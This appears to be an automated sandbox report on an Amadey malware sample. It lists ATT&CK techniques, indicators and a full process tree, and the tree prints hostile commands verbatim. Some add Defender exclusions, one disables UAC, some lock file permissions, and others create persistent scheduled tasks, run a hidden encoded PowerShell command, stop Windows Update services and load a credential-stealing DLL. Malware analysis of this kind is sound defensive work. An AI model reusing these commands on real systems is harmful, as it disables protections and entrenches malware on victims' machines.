amadey | db606ae120306c9bca7d9b71b4fadf487c2b751fd4490365e23eb1ff4f66a2f5

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	SecuriteInfo.com.Win32.Evo-gen.13929.5108.exe

Windows security bypass 2 TTPs 2 IoCs

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths	SecuriteInfo.com.Win32.Evo-gen.13929.5108.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.Evo-gen.13929.5108.exe = "0"	SecuriteInfo.com.Win32.Evo-gen.13929.5108.exe

Downloads MZ/PE file
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000\Control Panel\International\Geo\Nation	SecuriteInfo.com.Win32.Evo-gen.13929.5108.exe

Themida packer 16 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/files/0x0006000000023226-287.dat	themida
behavioral2/files/0x0006000000023226-301.dat	themida
behavioral2/memory/3752-324-0x00007FF7DC8C0000-0x00007FF7DD6FA000-memory.dmp	themida
behavioral2/memory/3752-342-0x00007FF7DC8C0000-0x00007FF7DD6FA000-memory.dmp	themida
behavioral2/memory/3752-358-0x00007FF7DC8C0000-0x00007FF7DD6FA000-memory.dmp	themida
behavioral2/memory/3752-363-0x00007FF7DC8C0000-0x00007FF7DD6FA000-memory.dmp	themida
behavioral2/memory/3752-360-0x00007FF7DC8C0000-0x00007FF7DD6FA000-memory.dmp	themida
behavioral2/memory/3752-365-0x00007FF7DC8C0000-0x00007FF7DD6FA000-memory.dmp	themida
behavioral2/memory/3752-370-0x00007FF7DC8C0000-0x00007FF7DD6FA000-memory.dmp	themida
behavioral2/memory/3752-373-0x00007FF7DC8C0000-0x00007FF7DD6FA000-memory.dmp	themida
behavioral2/memory/3752-377-0x00007FF7DC8C0000-0x00007FF7DD6FA000-memory.dmp	themida
behavioral2/memory/3752-379-0x00007FF7DC8C0000-0x00007FF7DD6FA000-memory.dmp	themida
behavioral2/memory/3752-382-0x00007FF7DC8C0000-0x00007FF7DD6FA000-memory.dmp	themida
behavioral2/memory/3752-401-0x00007FF7DC8C0000-0x00007FF7DD6FA000-memory.dmp	themida
behavioral2/files/0x0006000000023226-436.dat	themida
behavioral2/memory/3752-489-0x00007FF7DC8C0000-0x00007FF7DD6FA000-memory.dmp	themida

UPX packed file 12 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x00060000000231f6-167.dat	upx
behavioral2/files/0x00060000000231f6-180.dat	upx
behavioral2/memory/864-199-0x0000000000BD0000-0x0000000001105000-memory.dmp	upx
behavioral2/files/0x0006000000023219-222.dat	upx
behavioral2/files/0x00060000000231f6-250.dat	upx
behavioral2/memory/4992-256-0x0000000000BD0000-0x0000000001105000-memory.dmp	upx
behavioral2/files/0x00060000000231f6-270.dat	upx
behavioral2/memory/1288-322-0x0000000000BD0000-0x0000000001105000-memory.dmp	upx
behavioral2/memory/4404-242-0x0000000000840000-0x0000000000D75000-memory.dmp	upx
behavioral2/files/0x00060000000231f6-217.dat	upx
behavioral2/memory/4536-211-0x0000000000BD0000-0x0000000001105000-memory.dmp	upx
behavioral2/files/0x00060000000231f6-198.dat	upx

Windows security modification 2 TTPs 3 IoCs

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths	SecuriteInfo.com.Win32.Evo-gen.13929.5108.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions	SecuriteInfo.com.Win32.Evo-gen.13929.5108.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.Evo-gen.13929.5108.exe = "0"	SecuriteInfo.com.Win32.Evo-gen.13929.5108.exe

Checks whether UAC is enabled 1 TTPs 2 IoCs

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	SecuriteInfo.com.Win32.Evo-gen.13929.5108.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	SecuriteInfo.com.Win32.Evo-gen.13929.5108.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
129	ipinfo.io
130	ipinfo.io
126	api.myip.com
127	api.myip.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 904 set thread context of 5104	904	SecuriteInfo.com.Win32.Evo-gen.13929.5108.exe	88

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
456	sc.exe
6016	sc.exe
3808	sc.exe
524	sc.exe
2024	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1268	3672	WerFault.exe	91

Creates scheduled task(s) 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
4000	schtasks.exe
5860	schtasks.exe
1092	schtasks.exe
2136	schtasks.exe
5148	schtasks.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
5268	taskkill.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2556	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5104	InstallUtil.exe
Token: SeDebugPrivilege	2556	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 904 wrote to memory of 2556	904	SecuriteInfo.com.Win32.Evo-gen.13929.5108.exe	86
PID 904 wrote to memory of 2556	904	SecuriteInfo.com.Win32.Evo-gen.13929.5108.exe	86
PID 904 wrote to memory of 2556	904	SecuriteInfo.com.Win32.Evo-gen.13929.5108.exe	86
PID 904 wrote to memory of 5104	904	SecuriteInfo.com.Win32.Evo-gen.13929.5108.exe	88
PID 904 wrote to memory of 5104	904	SecuriteInfo.com.Win32.Evo-gen.13929.5108.exe	88
PID 904 wrote to memory of 5104	904	SecuriteInfo.com.Win32.Evo-gen.13929.5108.exe	88
PID 904 wrote to memory of 5104	904	SecuriteInfo.com.Win32.Evo-gen.13929.5108.exe	88
PID 904 wrote to memory of 5104	904	SecuriteInfo.com.Win32.Evo-gen.13929.5108.exe	88
PID 904 wrote to memory of 5104	904	SecuriteInfo.com.Win32.Evo-gen.13929.5108.exe	88
PID 904 wrote to memory of 5104	904	SecuriteInfo.com.Win32.Evo-gen.13929.5108.exe	88
PID 904 wrote to memory of 5104	904	SecuriteInfo.com.Win32.Evo-gen.13929.5108.exe	88

System policy modification 1 TTPs 1 IoCs

evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	SecuriteInfo.com.Win32.Evo-gen.13929.5108.exe

C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.Evo-gen.13929.5108.exe
"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.Evo-gen.13929.5108.exe"
1⤵
- UAC bypass
- Windows security bypass
- Checks computer location settings
- Windows security modification
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
- System policy modification
PID:904
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.Evo-gen.13929.5108.exe" -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2556
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5104
- - C:\Users\Admin\Pictures\Vjd28cgBu0qkoVFAA2CMJw3R.exe
    "C:\Users\Admin\Pictures\Vjd28cgBu0qkoVFAA2CMJw3R.exe"
    3⤵
    PID:3524
  - - C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe
      "C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe"
      4⤵
      PID:4928
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "nhdues.exe" /P "Admin:N"&&CACLS "nhdues.exe" /P "Admin:R" /E&&echo Y|CACLS "..\1ff8bec27e" /P "Admin:N"&&CACLS "..\1ff8bec27e" /P "Admin:R" /E&&Exit
        5⤵
        
        PID:5116
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "nhdues.exe" /P "Admin:N"
        6⤵
        
        PID:5056
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "nhdues.exe" /P "Admin:R" /E
        6⤵
        
        PID:5428
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\1ff8bec27e" /P "Admin:N"
        6⤵
        
        PID:6124
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        6⤵
        
        PID:5728
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\1ff8bec27e" /P "Admin:R" /E
        6⤵
        
        PID:5016
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nhdues.exe /TR "C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe" /F
        5⤵
        Creates scheduled task(s)
        
        PID:1092
    - - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a967e0f403b652\cred64.dll, Main
        5⤵
        
        PID:5532
      - C:\Windows\system32\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a967e0f403b652\cred64.dll, Main
        6⤵
        
        PID:5588
    - - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a967e0f403b652\clip64.dll, Main
        5⤵
        
        PID:1624
- - C:\Users\Admin\Pictures\D3UJNDsPUs4smhAKZBY7yJB6.exe
    "C:\Users\Admin\Pictures\D3UJNDsPUs4smhAKZBY7yJB6.exe"
    3⤵
    PID:3672
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\8844896318.exe"
      4⤵
      PID:1932
    - - C:\Users\Admin\AppData\Local\Temp\8844896318.exe
        
        "C:\Users\Admin\AppData\Local\Temp\8844896318.exe"
        5⤵
        
        PID:5148
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c taskkill /im "D3UJNDsPUs4smhAKZBY7yJB6.exe" /f & erase "C:\Users\Admin\Pictures\D3UJNDsPUs4smhAKZBY7yJB6.exe" & exit
      4⤵
      PID:5192
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "D3UJNDsPUs4smhAKZBY7yJB6.exe" /f
        5⤵
        Kills process with taskkill
        
        PID:5268
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3672 -s 1516
      4⤵
      Program crash
      PID:1268
- - C:\Users\Admin\Pictures\UTw3cy8mFtizr3x6TQHIqLqs.exe
    "C:\Users\Admin\Pictures\UTw3cy8mFtizr3x6TQHIqLqs.exe"
    3⤵
    PID:3696
- - C:\Users\Admin\Pictures\CdkIPRXyK4FUNxMAh5xo8BPR.exe
    "C:\Users\Admin\Pictures\CdkIPRXyK4FUNxMAh5xo8BPR.exe"
    3⤵
    PID:3680
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      PID:1512
  - - C:\Users\Admin\Pictures\CdkIPRXyK4FUNxMAh5xo8BPR.exe
      "C:\Users\Admin\Pictures\CdkIPRXyK4FUNxMAh5xo8BPR.exe"
      4⤵
      PID:4408
- - C:\Users\Admin\Pictures\dl8ttb6Q8XF9xlkjPOFMSGsZ.exe
    "C:\Users\Admin\Pictures\dl8ttb6Q8XF9xlkjPOFMSGsZ.exe"
    3⤵
    PID:620
- - C:\Users\Admin\Pictures\pr1ReLztcoqyiUJa1I19eZXz.exe
    "C:\Users\Admin\Pictures\pr1ReLztcoqyiUJa1I19eZXz.exe" /SP- /VERYSILENT /SUPPRESSMSGBOXES /PID=5333
    3⤵
    PID:2848
  - - C:\Users\Admin\AppData\Local\Temp\is-L13UA.tmp\pr1ReLztcoqyiUJa1I19eZXz.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-L13UA.tmp\pr1ReLztcoqyiUJa1I19eZXz.tmp" /SL5="$B01C4,4692544,832512,C:\Users\Admin\Pictures\pr1ReLztcoqyiUJa1I19eZXz.exe" /SP- /VERYSILENT /SUPPRESSMSGBOXES /PID=5333
      4⤵
      PID:1816
    - - C:\Users\Admin\AppData\Local\Temp\is-1GGTB.tmp\_isetup\_setup64.tmp
        
        helper 105 0x434
        5⤵
        
        PID:880
    - - C:\Windows\system32\schtasks.exe
        
        "schtasks" /Query /TN "DigitalPulseUpdateTask"
        5⤵
        
        PID:428
    - - C:\Windows\system32\schtasks.exe
        
        "schtasks" /Create /TN "DigitalPulseUpdateTask" /SC HOURLY /TR "C:\Users\Admin\AppData\Roaming\DigitalPulse\DigitalPulseUpdate.exe"
        5⤵
        Creates scheduled task(s)
        
        PID:2136
    - - C:\Users\Admin\AppData\Roaming\DigitalPulse\DigitalPulseService.exe
        
        "C:\Users\Admin\AppData\Roaming\DigitalPulse\DigitalPulseService.exe" 5333:::clickId=:::srcId=
        5⤵
        
        PID:5556
- - C:\Users\Admin\Pictures\7mJoOg6bqzBMoCJagnr6ciUy.exe
    "C:\Users\Admin\Pictures\7mJoOg6bqzBMoCJagnr6ciUy.exe"
    3⤵
    PID:220
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      PID:2476
  - - C:\Users\Admin\Pictures\7mJoOg6bqzBMoCJagnr6ciUy.exe
      "C:\Users\Admin\Pictures\7mJoOg6bqzBMoCJagnr6ciUy.exe"
      4⤵
      PID:5172
- - C:\Users\Admin\Pictures\mUr61QZhSInuRDUDxT0PDxdF.exe
    "C:\Users\Admin\Pictures\mUr61QZhSInuRDUDxT0PDxdF.exe"
    3⤵
    PID:1180
- - C:\Users\Admin\Pictures\UbX6fXjr8dyCs40OKG0AJpRZ.exe
    "C:\Users\Admin\Pictures\UbX6fXjr8dyCs40OKG0AJpRZ.exe"
    3⤵
    PID:2932
  - - C:\Users\Admin\Pictures\UbX6fXjr8dyCs40OKG0AJpRZ.exe
      "C:\Users\Admin\Pictures\UbX6fXjr8dyCs40OKG0AJpRZ.exe"
      4⤵
      PID:5676
- - C:\Users\Admin\Pictures\LX9MpXe44xcsCxs6AsLmlORG.exe
    "C:\Users\Admin\Pictures\LX9MpXe44xcsCxs6AsLmlORG.exe" --silent --allusers=0
    3⤵
    PID:864
  - - C:\Users\Admin\Pictures\LX9MpXe44xcsCxs6AsLmlORG.exe
      C:\Users\Admin\Pictures\LX9MpXe44xcsCxs6AsLmlORG.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=102.0.4880.78 --initial-client-data=0x2e4,0x2e8,0x2ec,0x2c0,0x2f0,0x6eb93600,0x6eb93610,0x6eb9361c
      4⤵
      PID:4536
  - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\LX9MpXe44xcsCxs6AsLmlORG.exe
      "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\LX9MpXe44xcsCxs6AsLmlORG.exe" --version
      4⤵
      PID:4404
  - - C:\Users\Admin\Pictures\LX9MpXe44xcsCxs6AsLmlORG.exe
      "C:\Users\Admin\Pictures\LX9MpXe44xcsCxs6AsLmlORG.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=864 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20230930033031" --session-guid=8921a098-661f-4525-96d7-4d09dd598136 --server-tracking-blob=MzE3ZmFhNDQ2ZWJiOGQ4YmFkZGVkNzRiNDhmYzQwOTY5NDAzODcyNTlhZThiODlmOTJlZjg0MjE2MGE5NmRlZTp7ImNvdW50cnkiOiJVUyIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2NyIsInN5c3RlbSI6eyJwbGF0Zm9ybSI6eyJhcmNoIjoieDg2XzY0Iiwib3BzeXMiOiJXaW5kb3dzIiwib3BzeXMtdmVyc2lvbiI6IjEwIiwicGFja2FnZSI6IkVYRSJ9fSwidGltZXN0YW1wIjoiMTY5NjA0NDYzMS41NjQ5IiwidXRtIjp7ImNhbXBhaWduIjoiNzY3IiwibWVkaXVtIjoiYXBiIiwic291cmNlIjoibWt0In0sInV1aWQiOiJmYWJmMjhjMS05ODAyLTQ5ZjQtOGZhNi1hMzA5NzJkMzFjZTMifQ== --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=EC04000000000000
      4⤵
      PID:4992
    - - C:\Users\Admin\Pictures\LX9MpXe44xcsCxs6AsLmlORG.exe
        
        C:\Users\Admin\Pictures\LX9MpXe44xcsCxs6AsLmlORG.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=102.0.4880.78 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2c0,0x2fc,0x6d343600,0x6d343610,0x6d34361c
        5⤵
        
        PID:1288
  - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202309300330311\assistant\Assistant_100.0.4815.21_Setup.exe_sfx.exe
      "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202309300330311\assistant\Assistant_100.0.4815.21_Setup.exe_sfx.exe"
      4⤵
      PID:5156
  - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202309300330311\assistant\assistant_installer.exe
      "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202309300330311\assistant\assistant_installer.exe" --version
      4⤵
      PID:928
    - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202309300330311\assistant\assistant_installer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202309300330311\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=100.0.4815.21 --initial-client-data=0x26c,0x270,0x274,0x248,0x278,0xa7e8a0,0xa7e8b0,0xa7e8bc
        5⤵
        
        PID:6112
- - C:\Users\Admin\Pictures\IOEdb2piIufNZMYWSMOceUDI.exe
    "C:\Users\Admin\Pictures\IOEdb2piIufNZMYWSMOceUDI.exe"
    3⤵
    PID:4216
  - - C:\Users\Admin\AppData\Local\Temp\7zSD15A.tmp\Install.exe
      .\Install.exe
      4⤵
      PID:4392
    - - C:\Users\Admin\AppData\Local\Temp\7zSD764.tmp\Install.exe
        
        .\Install.exe /ijdidc "385118" /S
        5⤵
        
        PID:4960
      - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
        6⤵
        
        PID:4516
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        7⤵
        
        PID:428
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        8⤵
        
        PID:5828
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        8⤵
        
        PID:6120
      - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
        6⤵
        
        PID:4484
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        7⤵
        
        PID:5208
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        8⤵
        
        PID:5260
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        8⤵
        
        PID:5620
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "gdmHbeYGB" /SC once /ST 00:33:50 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
        6⤵
        Creates scheduled task(s)
        
        PID:5148
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn "gdmHbeYGB"
        6⤵
        
        PID:5712
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /DELETE /F /TN "gdmHbeYGB"
        6⤵
        
        PID:216
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bDRsmtqPRtxVtIaWMC" /SC once /ST 07:38:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\uSeayovuzlKslqxFn\awUqjQFTwhiNTSj\oFEPPkA.exe\" T7 /vgsite_idmcS 385118 /S" /V1 /F
        6⤵
        Creates scheduled task(s)
        
        PID:5860
- - C:\Users\Admin\Pictures\rBPYN4NKopm6Ql908rDJqjuX.exe
    "C:\Users\Admin\Pictures\rBPYN4NKopm6Ql908rDJqjuX.exe"
    3⤵
    PID:3752

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
1⤵
PID:948

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
1⤵
PID:4688

C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe
C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe
1⤵
PID:5228

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:5756

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:5748

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:6084

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
1⤵
PID:5976
- C:\Windows\System32\sc.exe
  sc stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:456
- C:\Windows\System32\sc.exe
  sc stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:6016
- C:\Windows\System32\sc.exe
  sc stop wuauserv
  2⤵
  - Launches sc.exe
  PID:3808
- C:\Windows\System32\sc.exe
  sc stop bits
  2⤵
  - Launches sc.exe
  PID:524
- C:\Windows\System32\sc.exe
  sc stop dosvc
  2⤵
  - Launches sc.exe
  PID:2024

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 3672 -ip 3672
1⤵
PID:5816

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
1⤵
PID:5648
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-ac 0
  2⤵
  PID:4724
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-dc 0
  2⤵
  PID:5296
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-ac 0
  2⤵
  PID:6124
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-dc 0
  2⤵
  PID:984

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /delete /f /tn "GoogleUpdateTaskMachineQC"
1⤵
PID:5180

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /create /f /ru "System" /tn "GoogleUpdateTaskMachineQC" /xml "C:\Users\Admin\AppData\Local\Temp\xyvvnnvseiqa.xml"
1⤵
- Creates scheduled task(s)
PID:4000

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
1⤵
PID:2932

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
PID:5696

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

